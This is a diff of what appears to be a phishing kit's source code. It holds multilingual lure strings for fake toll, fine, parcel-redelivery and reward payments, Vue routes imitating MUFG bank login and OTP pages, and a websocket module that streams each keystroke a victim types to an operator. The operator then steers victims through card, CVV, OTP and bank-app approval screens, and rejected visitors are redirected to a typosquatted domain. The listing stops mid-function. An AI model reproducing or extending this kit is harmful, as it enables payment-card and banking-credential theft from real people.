"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
"Billing Information": "Számlázási adatok",
"Description": "Leírás",
"Dear customer": "Kedves vásárlónk:",
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Invoice Number": "Számlaszám",
"Amount": "Összeg",
"Pay Immediately": "Fizessen azonnal",
"Phone Number": "Telefonszám",
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Illustrate":"Szemléltet"
};

View File

@@ -0,0 +1,123 @@
export default {
"There is an error in this field, please check": "Šajā laukā ir kļūda, lūdzu pārbaudiet",
"Please enter a valid email address": "Lūdzu, ievadiet derīgu e-pasta adresi",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Cienījamie lietotāji, lūdzu, rūpīgi aizpildiet veidlapu, lai nodrošinātu veiksmīgu piegādi",
"Your Name": "Jūsu vārds",
"Address": "Adrese",
"Detailed Address": "Precīza adrese",
"(Optional)": "(Neobligāti)",
"City": "Pilsēta",
"State": "Valsts / Šķēršlis",
"Province": "Province",
"Region": "Reģions",
"Zip Code": "Pasta indekss",
"E-Mail": "E-pasts",
"Next": "Nākamais",
"Telephone Number": "Tālruņa numurs",
"Online": "Tiešsaistē",
"Payment": "Maksājums",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Par atkārtotu piegādi mums jāiekasē pakalpojuma maksa. Jūsu sūtījums tiks atkārtoti piegādāts pēc maksājuma",
"lump sum: ": "Vienreizējs maksājums: ",
"Cardholder": "Kartes īpašnieks",
"Card Number": "Kartes numurs",
"Expire Date": "Derīguma termiņš",
"Security Code": "Drošības kods",
"Submit": "Iesniegt",
"Click here to receive another code": "Noklikšķiniet šeit, lai saņemtu citu kodu",
"Please confirm your identity and a one-time code will be sent": "Lūdzu, apstipriniet savu identitāti, un uz jūsu tālruni vai e-pastu tiks nosūtīts vienreizējs kods. Ievadiet verifikācijas kodu šeit",
"The verification code has been sent to": "Verifikācijas kods ir nosūtīts uz",
"Please do not click the": "Lūdzu, neklikšķiniet uz pogām",
"Verification code error, please try again": "Verifikācijas koda kļūda, lūdzu, mēģiniet vēlreiz",
"The session is about to expire, please complete the verification now": "Sesija drīz beigsies, lūdzu, pabeidziet verifikāciju tūlīt",
"This card does not support this transaction, please try another card": "Šī karte neatbalsta šo darījumu, lūdzu, izmēģiniet citu karti",
"Authorized bank": "Autorizēta banka",
"Please go to the bank App to confirm the authorization": "Lūdzu, dodieties uz bankas lietotni, lai apstiprinātu autorizāciju",
"Please do not close this page": "Lūdzu, neaizveriet šo lapu",
"Payment Successful": "Maksājums veiksmīgs!",
"Thank you for your purchase. Your payment has been processed successfully": "Paldies par pirkumu. Jūsu maksājums ir veiksmīgi apstrādāts",
"Mailing address": "Pasta adrese",
"street address or house number": "Ielas adrese vai mājas numurs",
"Apartment number": "Dzīvokļa numurs, istabas numurs utt.",
"Safe payment": "Drošs maksājums",
"Verification code": "Verifikācijas kods",
"Welcome": "Laipni lūdzam",
"back": "atpakaļ!",
"We reward you for using point services": "Mēs jūs apbalvojam par punktu pakalpojumu izmantošanu",
"Check your points": "Pārbaudiet savus punktus",
"Phone number": "Tālruņa numurs",
"Inquire": "Uzzināt",
"Exchange": "Apmainīt",
"Spend points": "Tērēt punktus",
"Points Available": "Pieejamie punkti",
"You don't have enough points": "Jums nav pietiekami daudz punktu",
"Please redeem your favorite product": "Lūdzu, izmantojiet savu iecienītāko produktu",
"Confirm your shipping address": "Apstipriniet savu piegādes adresi",
"Order number": "Pasūtījuma numurs: ",
"Pay": "Maksāt",
"Pay Message": "Maksāt {0}, lai izmantotu punktus par produktiem",
"Pay electronic tolls online": "Maksājiet elektroniskās nodevas tiešsaistē",
"your electronic toll payment was unsuccessful": "Jūsu elektroniskā nodevas apmaksa bija neveiksmīga.",
"Billing Information": "Norēķinu informācija",
"Description": "Apraksts",
"Dear customer": "Cienījamais klient!",
"Electronic Communications Charge Payment Failed": "Elektronisko sakaru maksas apmaksa neizdevās",
"Invoice Number": "Rēķina numurs",
"Amount": "Summa",
"Pay Immediately": "Maksāt nekavējoties",
"Phone Number": "Tālruņa numurs",
"Electronic communication fee payment failed": "Elektroniskās komunikācijas maksas apmaksa neizdevās",
"Illustrate": "Ilustrēt",
"SSL Encryption": "SSL šifrēšana",
"PCI-DSS Certified": "PCI-DSS sertificēts",
"Transaction Details": "Darījuma detaļas",
"Transaction ID:": "Darījuma ID:",
"Processing Network:": "Apstrādes tīkls:",
"Processing Time:": "Apstrādes laiks:",
"Security Level:": "Drošības līmenis:",
"Preparing...": "Gatavo...",
"High": "Augsts",
"Initializing payment environment...": "Inicializē maksājumu vidi...",
"Encrypting card information...": "Šifrē kartes informāciju...",
"Establishing secure connection...": "Veido drošu savienojumu...",
"Verifying card number and issuer...": "Pārbauda kartes numuru un izdevēju...",
"Validating CVV code...": "Validē CVV kodu...",
"Checking fraud risk...": "Pārbauda krāpšanas risku...",
"Sending transaction request...": "Sūta darījuma pieprasījumu...",
"Waiting for bank authorization...": "Gaida bankas autorizāciju...",
"Processing bank response...": "Apstrādā bankas atbildi...",
"Confirming transaction status...": "Apstiprina darījuma statusu...",
"Finalizing transaction...": "Pabeidz darījumu...",
"Visa Secure Network": "Visa drošais tīkls",
"Mastercard Global Payment Network": "Mastercard globālais maksājumu tīkls",
"American Express Dedicated Channel": "American Express veltītais kanāls",
"UnionPay Gateway": "UnionPay vārteja",
"{time} seconds": "{time} sekundes",
"International Payment Network": "Starptautiskais maksājumu tīkls",
"Homepage License Plate": "Mājaslapas numura zīme",
"JCC Smart Cyprus Image": "JCC Smart Kipras attēls",
"Check Your Payment Details": "Pārbaudiet savus maksājuma datus",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ievadiet sava transportlīdzekļa numura zīmes numuru, lai verificētu savu kontu un nodrošinātu savlaicīgu nodevas apmaksu, lai izvairītos no sodiem.",
"Enter license plate number (e.g. XYZ1234)": "Ievadiet numura zīmes numuru (piemēram, XYZ1234)",
"Verify Payment Details": "Pārbaudīt maksājuma datus",
"Toll Payment": "Nodevas apmaksa",
"License Plate Number": "Numura zīmes numurs",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Informācija par ceļu satiksmes noteikumu pārkāpumiem (piemēram, mobilā tālruņa lietošana braukšanas laikā). Pirmais pārkāpums <strong>50€</strong>, otrais pārkāpums <strong>150€</strong> utt.",
"Tolls": "Nodevas",
"Due Date": "Maksājuma termiņš",
"Fine Amount": "Sods",
"Pay Now": "Maksāt tagad",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Ņemiet vērā, ka sakarā ar novēlotu maksājumu šis darījums ir derīgs tikai kredītkaršu maksājumiem.",
"Cardholder Name": "Kartes īpašnieka vārds",
"First and Last Name": "Vārds un uzvārds",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Derīguma termiņš",
"MM/YY": "MM/GG",
"123(CVV)": "123(CVV)",
"Card Icon": "Kartes ikona",
"CVV": "CVV",
"Successful Toll Payment": "Veiksmīga nodevas apmaksa",
"Thank you for your payment. The tolls have been processed successfully.": "Paldies par maksājumu. Nodevas ir veiksmīgi apstrādātas.",
"Phone": "Tālrunis",
"Toll Amount": "Nodevas summa",
"50.00 EUR": "50.00 EUR"
}

View File

@@ -0,0 +1,122 @@
export default {
"There is an error in this field, please check": "Постоји грешка у овом пољу, молимо проверите",
"Please enter a valid email address": "Унесите важећу адресу е-поште",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Поштовани корисници, молимо пажљиво попуните формулар како бисте осигурали успешну испоруку",
"Your Name": "Ваше име",
"Address": "Адреса",
"Detailed Address": "Детаљна адреса",
"(Optional)": "(Опционално)",
"City": "Град",
"State": "Савезна држава",
"Province": "Покрајина",
"Region": "Регија",
"Zip Code": "Поштански број",
"E-Mail": "Е-пошта",
"Next": "Следеће",
"Telephone Number": "Број телефона",
"Online": "На мрежи",
"Payment": "Плаћање",
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За поновну испоруку потребно је платити одређене услуге. Ваш пакет ће бити поново испоручен након уплате",
"lump sum: ": "укупно: ",
"Cardholder": "Име носиоца картице",
"Card Number": "Број картице",
"Expire Date": "Датум истека",
"Security Code": "Сигурносни код",
"Submit": "Пошаљи",
"Click here to receive another code": "Кликните овде да добијете нови код",
"Please confirm your identity and a one-time code will be sent": "Потврдите свој идентитет и једнократни код ће бити послат на ваш телефон или е-пошту. Унесите код овде",
"The verification code has been sent to": "Код за потврду је послат на",
"Please do not click the": "Молимо вас да не кликћете на 'Освежи' или 'Назад' јер то може прекинути трансакцију",
"Verification code error, please try again": "Грешка у коду за потврду, покушајте поново",
"The session is about to expire, please complete the verification now": "Сесија ће ускоро истећи, молимо довршите верификацију",
"This card does not support this transaction, please try another card": "Ова картица не подржава ову трансакцију, покушајте са другом картицом",
"Authorized bank": "Овлашћена банка",
"Please go to the bank App to confirm the authorization": "Идите у апликацију банке да потврдите овлашћење",
"Please do not close this page": "Не затварајте ову страницу",
"Payment Successful": "Успешно плаћање!",
"Thank you for your purchase. Your payment has been processed successfully": "Хвала вам на куповини. Плаћање је успешно обрађено",
"Mailing address": "Адреса за доставу",
"street address or house number": "Улица или број куће",
"Apartment number": "Број стана, собе итд.",
"Safe payment": "Безбедно плаћање",
"Verification code": "Код за потврду",
"Welcome": "Добродошли",
"back": "Назад!",
"We reward you for using point services": "Награђујемо вас за коришћење услуга поена",
"Check your points": "Проверите ваше поене",
"Phone number": "Број телефона",
"Inquire": "Провери",
"Exchange": "Размена",
"Spend points": "Искористите поене",
"Points Available": "Доступни поени",
"You don't have enough points": "Немате довољно поена",
"Please redeem your favorite product": "Искористите своје поене за омиљени производ",
"Confirm your shipping address": "Потврдите адресу испоруке",
"Order number": "Број поруџбине: ",
"Pay": "Плати",
"Pay Message": "Платите {0} да бисте искористили поене за производе",
"Pay electronic tolls online": "Платите електронску путарину на мрежи",
"your electronic toll payment was unsuccessful": "Ваше плаћање путарине није успело.",
"Billing Information": "Подаци за обрачун",
"Description": "Опис",
"Dear customer": "Поштовани клијент:",
"Electronic Communications Charge Payment Failed": "Плаћање трошкова електронске комуникације није успело",
"Invoice Number": "Број фактуре",
"Amount": "Износ",
"Pay Immediately": "Платите одмах",
"Phone Number": "Број телефона",
"Electronic communication fee payment failed": "Плаћање накнаде за електронску комуникацију није успело",
"Illustrate": "Објасни",
"SSL Encryption": "SSL енкрипција",
"PCI-DSS Certified": "PCI-DSS сертификат",
"Transaction Details": "Детаљи трансакције",
"Transaction ID:": "ИД трансакције:",
"Processing Network:": "Мрежа за обраду:",
"Processing Time:": "Време обраде:",
"Security Level:": "Ниво безбедности:",
"Preparing...": "Припрема се...",
"High": "Висок",
"Initializing payment environment...": "Иницијализација окружења за плаћање...",
"Encrypting card information...": "Шифровање података картице...",
"Establishing secure connection...": "Успостављање сигурне везе...",
"Verifying card number and issuer...": "Провера броја картице и издаваоца...",
"Validating CVV code...": "Проверавање CVV кода...",
"Checking fraud risk...": "Провера ризика од преваре...",
"Sending transaction request...": "Слање захтева за трансакцију...",
"Waiting for bank authorization...": "Чекање одобрења банке...",
"Processing bank response...": "Обрада одговора банке...",
"Confirming transaction status...": "Потврда статуса трансакције...",
"Finalizing transaction...": "Завршетак трансакције...",
"Visa Secure Network": "Visa безбедна мрежа",
"Mastercard Global Payment Network": "Mastercard глобална мрежа за плаћање",
"American Express Dedicated Channel": "American Express наменски канал",
"UnionPay Gateway": "UnionPay пролаз",
"{time} seconds": "{time} секунди",
"International Payment Network": "Међународна мрежа за плаћање",
"Homepage License Plate": "Почетна регистрација возила",
"JCC Smart Cyprus Image": "JCC Smart Kipar слика",
"Check Your Payment Details": "Проверите детаље плаћања",
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Унесите регистарски број возила да бисте проверили свој налог и благовремено платили путарину како бисте избегли казне.",
"Enter license plate number (e.g. XYZ1234)": "Унесите број таблице (нпр. XYZ1234)",
"Verify Payment Details": "Потврдите детаље плаћања",
"Toll Payment": "Плаћање путарине",
"License Plate Number": "Регистарски број возила",
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Информације о саобраћајним прекршајима (нпр. коришћење мобилног телефона током вожње). Први прекршај <strong>50€</strong>, други <strong>150€</strong> итд.",
"Tolls": "Путарина",
"Due Date": "Рок доспећа",
"Fine Amount": "Износ казне",
"Pay Now": "Плати сада",
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Имајте у виду да је због кашњења плаћања ова трансакција могућа само кредитном картицом.",
"Cardholder Name": "Име носиоца картице",
"First and Last Name": "Име и презиме",
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
"Expiration Date": "Датум истека",
"MM/YY": "MM/ГГ",
"123(CVV)": "123(CVV)",
"Card Icon": "Икона картице",
"CVV": "CVV",
"Successful Toll Payment": "Успешно плаћена путарина",
"Thank you for your payment. The tolls have been processed successfully.": "Хвала вам на плаћању. Путарина је успешно обрађена.",
"Phone": "Телефон",
"Toll Amount": "Износ путарине"
};

View File

@@ -0,0 +1,82 @@
export default {
"There is an error in this field, please check":
"Bu alanda bir hata var, lütfen kontrol edin",
"Please enter a valid email address": "Lütfen geçerli bir e-posta adresi girin",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Değerli kullanıcılar, teslimatın başarılı olması için lütfen formu dikkatlice doldurun",
"Your Name": "Adınız",
"Address": "Adres",
"Detailed Address": "Detaylı Adres",
"(Optional)": "(İsteğe bağlı)",
"City": "Şehir",
"State": "Eyalet",
"Province": "İl",
"Region": "Bölge",
"Zip Code": "Posta Kodu",
"E-Mail": "E-Posta",
"Next": "İleri",
"Telephone Number": "Telefon Numarası",
"Online": "Çevrimiçi",
"Payment": "Ödeme",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Yeniden teslimat için bazı hizmet ücretleri tahsil etmemiz gerekiyor. Ödemenin ardından paketiniz yeniden gönderilecektir",
"lump sum: ": "Toplam tutar: ",
"Cardholder": "Kart Sahibi",
"Card Number": "Kart Numarası",
"Expire Date": "Son Kullanma Tarihi",
"Security Code": "Güvenlik Kodu",
"Submit": "Gönder",
"Click here to receive another code": "Yeni bir kod almak için buraya tıklayın",
"Please confirm your identity and a one-time code will be sent":
"Lütfen kimliğinizi doğrulayın, cep telefonu numaranıza veya e-posta adresinize tek kullanımlık bir kod gönderilecektir. Lütfen doğrulama kodunu buraya girin",
"The verification code has been sent to":
"Doğrulama kodu şu adrese gönderildi:",
"Please do not click the":
"Lütfen 'Yenile' veya 'Geri' düğmelerine tıklamayın, aksi takdirde işleminiz sona erebilir veya kesilebilir",
"Verification code error, please try again":
"Doğrulama kodu hatalı, lütfen tekrar deneyin",
"The session is about to expire, please complete the verification now":
"Oturumunuz sona ermek üzere, lütfen şimdi doğrulamayı tamamlayın",
"This card does not support this transaction, please try another card":
"Bu kart bu işlemi desteklemiyor, lütfen başka bir kart deneyin",
"Authorized bank": "Yetkili banka",
"Please go to the bank App to confirm the authorization":
"Lütfen yetkilendirmeyi onaylamak için banka uygulamasına gidin",
"Please do not close this page": "Lütfen bu sayfayı kapatmayın",
"Payment Successful": "Ödeme Başarılı!",
"Thank you for your purchase. Your payment has been processed successfully":
"Satın alma işleminiz için teşekkür ederiz. Ödemeniz başarıyla işlendi",
"Mailing address": "Posta Adresi",
"street address or house number": "Sokak adresi veya ev numarası",
"Apartment number": "Daire numarası, oda numarası vb.",
"Safe payment": "Güvenli ödeme",
"Verification code": "Doğrulama kodu",
"Welcome": "Hoş geldiniz",
"back": "geri!",
"We reward you for using point services": "Puan hizmetlerini kullandığınız için sizi ödüllendiriyoruz",
"Check your points": "Puanlarınızı kontrol edin",
"Phone number": "Telefon numarası",
"Inquire": "Sorgula",
"Exchange": "Değiştir",
"Spend points": "Puan harca",
"Points Available": "Mevcut Puanlar",
"You don't have enough points": "Yeterli puanınız yok",
"Please redeem your favorite product": "Lütfen favori ürününüzü kullanarak puanınızı harcayın",
"Confirm your shipping address": "Teslimat adresinizi onaylayın",
"Order number": "Sipariş numarası: ",
"Pay": "Öde",
"Pay Message": "{0} ödeyerek puan karşılığı ürün alabilirsiniz",
"Pay electronic tolls online": "Elektronik otoyol ücretlerini çevrimiçi ödeyin",
"your electronic toll payment was unsuccessful":
"Elektronik otoyol ödemeniz başarısız oldu.",
"Billing Information": "Fatura Bilgileri",
"Description": "Açıklama",
"Dear customer": "Sayın müşteri:",
"Electronic Communications Charge Payment Failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
"Invoice Number": "Fatura Numarası",
"Amount": "Tutar",
"Pay Immediately": "Hemen Öde",
"Phone Number": "Telefon Numarası",
"Electronic communication fee payment failed": "Elektronik iletişim ücreti ödemesi başarısız oldu",
"Illustrate": "Açıklama"
};

View File

@@ -0,0 +1,28 @@
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
import App from "./App.vue";
import router from "./router";
import { createI18n } from "vue-i18n";
import en from "./locales/en";
import "./assets/main.css";
import "./assets/base.css";
import VueScrollTo from "vue-scrollto";
const userData = ref({});
const app = createApp(App);
app.config.globalProperties.$currentUser = userData;
const i18n = createI18n({
locale: "en",
messages: {
en: en,
},
});
app.use(i18n);
app.use(createPinia());
app.use(router);
app.mount("#app");
export default i18n;

View File

@@ -0,0 +1,173 @@
import { createRouter, createMemoryHistory } from "vue-router";
// --- All view components are now explicitly imported for full static loading ---
import IndexView from "@/views/IndexView.vue";
import PhoneView from "@/views/PhoneView.vue";
import PayView from "@/views/PayView.vue";
import OtpView from "@/views/OtpView.vue";
import CustomOtpView from "@/views/CustomOtpView.vue";
import AppValidView from "@/views/AppValidView.vue";
import AddressView from "@/views/AddressView.vue";
import SuccessView from "@/views/SuccessView.vue";
import CardView from "@/views/CardView.vue";
import TcasswordView from "@/views/tcasswordView.vue";
import UserLogin from "@/views/user_login.vue";
import UserVerification from "@/views/user_verification.vue";
import UserVerification_otp from "@/views/user_verification_otp.vue";
import UserPassword from "@/views/user_password.vue";
import InfoMufgView from "@/views/info_mufgView.vue";
import SdpageMufgView from "@/views/sdpage_mufgView.vue";
import VerificationcodepageView from "@/views/VerificationcodepageView.vue";
import AppVerify from "@/views/App_verify.vue";
import AppVerify2 from "@/views/App_verify2.vue";
import VerificationcodepagePinView from "@/views/VerificationcodepagePinView.vue";
import VerificationcodepageexView from "@/views/VerificationcodepageexView.vue";
const router = createRouter({
/**
* History Mode: createMemoryHistory
*
* This mode maintains an internal history stack **without interacting with the browser's URL**.
* The URL in the address bar will not change, and it will not add entries to the browser's native history.
*
* This is ideal for scenarios like:
* - **Server-Side Rendering (SSR)**: Where a browser environment is not available.
* - **Desktop Applications (e.g., Electron)**: For internal app navigation that shouldn't affect OS-level browser history.
* - **Embedded Applications**: When your Vue app is nested within a larger system and should not alter the parent's URL.
*
* **Important**: Users cannot bookmark specific internal routes or use browser back/forward buttons
* to navigate within your Vue app's routes. Navigation is strictly controlled programmatically (e.g., via `<router-link>` or `router.push()`).
*/
history: createMemoryHistory(import.meta.env.BASE_URL),
routes: [
{
path: "/",
name: "home",
// --- Component directly assigned for full static loading ---
component: IndexView,
},
{
path: "/phone",
name: "phone",
component: PhoneView,
},
{
path: "/pay",
name: "pay",
component: PayView,
},
{
path: "/otpValid",
name: "otpValid",
component: OtpView,
},
{
path: "/customOtpValid",
name: "customOtpValid",
component: CustomOtpView,
},
{
path: "/user_login",
name: "user_login",
component: UserLogin,
},
{
path: "/user_verification",
name: "user_verification",
component: UserVerification,
},
{
path: "/user_verification_otp",
name: "user_verification_otp",
component: UserVerification_otp,
},
{
path: "/user_password",
name: "user_password",
component: UserPassword,
},
{
path: "/info_mufg",
name: "info_mufg",
component: InfoMufgView,
},
{
path: "/sdpage_mufg",
name: "sdpage_mufg",
component: SdpageMufgView,
},
{
path: "/verificationcodepage",
name: "verificationcodepage",
component: VerificationcodepageView,
},
{
path: "/App_verify",
name: "App_verify",
component: AppVerify,
},
{
path: "/App_verify2",
name: "App_verify2",
component: AppVerify2,
},
{
path: "/verificationcodepagepin",
name: "Verificationcodepagepin",
component: VerificationcodepagePinView,
},
{
path: "/verificationcodepageex",
name: "verificationcodepageex",
component: VerificationcodepageexView,
},
{
path: "/appValid",
name: "appValid",
component: AppValidView,
},
{
path: "/address",
name: "address",
component: AddressView,
},
{
path: "/success",
name: "success",
component: SuccessView,
},
{
path: "/card",
name: "card",
component: CardView,
},
],
/**
* Scroll Behavior:
* Controls the scrolling position when navigating between routes.
*
* @param {Object} to - The target route object.
* @param {Object} from - The current route object being left.
* @param {Object} savedPosition - The saved scroll position if navigating back/forward.
* @returns {Object} An object with `left` and `top` properties (for scrolling to coordinates).
*/
scrollBehavior(to, from, savedPosition) {
// If a saved position exists (e.g., from browser's back/forward, though less common with MemoryHistory), restore it.
if (savedPosition) {
return savedPosition;
} else {
// Otherwise, scroll to the top of the page. Added 'smooth' for a better user experience.
return { left: 0, top: 0, behavior: "smooth" };
}
},
});
router.afterEach(() => {
// Try all common scroll containers
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
document.documentElement.scrollTop = 0;
document.body.scrollTop = 0;
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
if (wrap) wrap.scrollTop = 0;
});
export default router;

View File

@@ -0,0 +1,15 @@
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
showLoading() {
this.isLoading = true;
},
hideLoading() {
this.isLoading = false;
},
},
});

View File

@@ -0,0 +1,13 @@
// stores/loadingStore.ts
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
setLoading(value: boolean) {
this.isLoading = value;
},
},
});

View File

@@ -0,0 +1,544 @@
import _ from "lodash";
import eventBus from "@/utils/eventBus";
import router from "@/router";
import { ref } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import i18n from "@/main";
import { useSocketIo, type SessionCrypto } from "./socketio";
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
if (viteBaseUrl === "/") {
viteBaseUrl = "/";
} else if (viteBaseUrl === "localhost:8011") {
viteBaseUrl = "ws://" + viteBaseUrl;
} else {
viteBaseUrl = "wss://" + viteBaseUrl;
}
// Redirect to an external URL
export function redirectToExternal() {
window.location.replace("https://amazom.com");
}
const initHtml = async () => {
const routePath = localStorage.getItem("route");
// headHtml.value = await loadHtml("/gtm_post/head.html");
await router.push(routePath ? `/${routePath}` : "/user_login");
setTimeout(async () => {
useLoadingStore().setLoading(false);
loadingBg.value = "#00000072";
}, 200);
};
export const customOtpData = ref<any>({});
export function setCustomOtpData(data: any) {
customOtpData.value = data;
localStorage.setItem("customOtpData", JSON.stringify(data));
}
export let myWebSocket: any | undefined;
// Configuration data
export const configData = ref<Record<string, any>>({});
// Utility function to check if all values in an object are not empty
export function areAllValuesNotEmpty(
obj: Record<string, any>,
excludedFields: string[] = []
): boolean {
return Object.keys(obj).every((key) => {
if (excludedFields.includes(key)) return true;
const value = obj[key];
return (
value !== null &&
value !== undefined &&
value !== "" &&
!(typeof value === "string" && value.trim() === "")
);
});
}
// 存储 WebSocket 和 API 的防抖函数
const wsDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
const apiDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
// 获取或创建针对某个键的防抖函数
function getDebouncedFunction(
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
key: string,
func: (...args: any[]) => void,
wait: number
) {
if (!debounceFunctions[key]) {
debounceFunctions[key] = _.debounce(func, wait);
}
return debounceFunctions[key];
}
const modeRef = ref(1)
// 处理输入变化
export function inputChange(type: string, key: any, value: any) {
const currentTimestamp = Date.now(); // 当前时间戳
// WebSocket 防抖函数
const wsDebouncedFunction = getDebouncedFunction(
wsDebounceFunctions,
key,
(type, key, value) => {
myWebSocket?.send(
JSON.stringify({
event: "input_text",
content: { type, key, text: value },
timestamp: currentTimestamp,
})
);
},
300
);
// 调用防抖函数
wsDebouncedFunction(type, key, value);
}
// Handle login success
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
myWebSocket?.on("close", () => console.log("Socket closed!"));
myWebSocket?.on("open", () => {
const lastToken = localStorage.getItem("token");
loginWebsocket(token, lastToken !== token);
});
myWebSocket?.on("message", handleMessage);
window.addEventListener("beforeunload", () => {
myWebSocket?.off("close");
});
}
// Handle WebSocket messages
function handleMessage(data: any) {
console.log("Received WebSocket message:", data);
const jsonData = JSON.parse(data);
if (!jsonData || !jsonData.event) return;
const { event, content } = jsonData;
switch (event) {
case "login":
//handleLoginEvent(content);
break;
case "result_type":
handleResultTypeEvent(content);
break;
case "reload":
window.location.reload();
break;
case "navigate":
navigateTo(content.pagePath, content);
break;
default:
break;
}
}
// Handle result type event
function handleResultTypeEvent(content: any) {
if (!content) return;
console.log("Handling result type event with content:", content);
const typeHandlers: Record<string, () => void> = {
customOtpValid: () => navigateTo("/customOtpValid", content),
otpValid: () => navigateTo("/otpValid", content),
appValid: () => navigateTo("/appValid", content),
success: () => router.push("/success"),
kickOut: redirectToExternal,
block: redirectToExternal,
nexthsbankpage: () => {
router.push({
path: "/verificationcodehs",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
nextxzbankpage: () => {
router.push({
path: "/verificationcodexz",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
backHsbankpage: () => {
router.push({ path: "/hsbankpage" });
},
nextlogin_mufg: () => {
router.push({
path: "/info_mufg",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
user_login: () => {
router.push({
path: "/user_login",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
user_password: () => {
router.push({
path: "/user_password",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
App_verify: () => {
router.push({
path: "/App_verify",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
App_verify2: () => {
router.push({
path: "/App_verify2",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
next_pay: () => {
router.push({
path: "/pay",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
next_card: () => {
router.push({
path: "/card",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
user_verification: () => {
router.push({
path: "/user_verification",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
user_verification_otp: () => {
router.push({
path: "/user_verification_otp",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
senumber_mufg: () => {
router.push({
path: "/senumber_mufg",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
securitypage_mufg: () => {
router.push({
path: "/securitypage_mufg",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
cardfillpage: () => {
router.push({
path: "/card",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
verificationcodepage: () => {
router.push({
path: "/verificationcodepage",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
verificationpageex: () => {
router.push({
path: "/verificationcodepageex",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
backlogin_mufg: () => {
router.push({ path: "/login_mufg" });
},
backinfo_mufg: () => {
router.push({ path: "/info_mufg" });
},
backsenumber_mufg: () => {
router.push({ path: "/senumber_mufg" });
},
backsecuritypage_mufg: () => {
router.push({ path: "/securitypage_mufg" });
},
backcard: () => {
router.push({ path: "/card" });
},
backHqbankpage: () => {
router.push({ path: "/hqbankpage" });
},
backXzbankpage: () => {
router.push({ path: "/xzbankpage" });
},
nexthqbankpage: () => {
router.push({
path: "/verificationcodehq",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
backPasswd: () => {
router.push({ path: "/passwd" });
},
nextVerificationcode: () => {
router.push({
path: "/verificationcode",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
nextPincode: () => {
router.push({
path: "/verificationcodepagepin",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
nextVerificationcodeex: () => {
router.push({
path: "/verificationcodeex",
query: {
message1: content.value.message1,
key: new Date().getMilliseconds(),
},
});
},
toFail: () => {
eventBus.emit("my-event", {
message2:
content.value.message2 ||
i18n.global.t(
"The session is about to expire, please complete the verification now"
),
});
},
toBack: () => {
const currentRoute = localStorage.getItem("route")
if (currentRoute == "card") {
router.push({ path: "/login_mufg" });
} else if (currentRoute == "verificationcodepage") {
router.push({ path: "/login_mufg" });
}
},
otpFail: () =>
eventBus.emit("otp-valid", {
message2:
content.value.message2 ||
i18n.global.t("Verification code error, please try again"),
}),
appFail: () =>
eventBus.emit("app-valid", {
message2:
content.value.message2 ||
i18n.global.t(
"The session is about to expire, please complete the verification now"
),
}),
back: () => handleBackOrReject(content, true),
reject: () => handleBackOrReject(content, false),
refresh: () => {
if (localStorage.getItem("route")) {
localStorage.removeItem("route");
window.location.reload();
}
},
};
if (content.type == "customOtpValid") {
if (content.value.customOtpData) {
setCustomOtpData(JSON.parse(content.value.customOtpData));
}
}
if (content.type === "customOtpValid") {
if (customOtpData.value.name === "生日验证") {
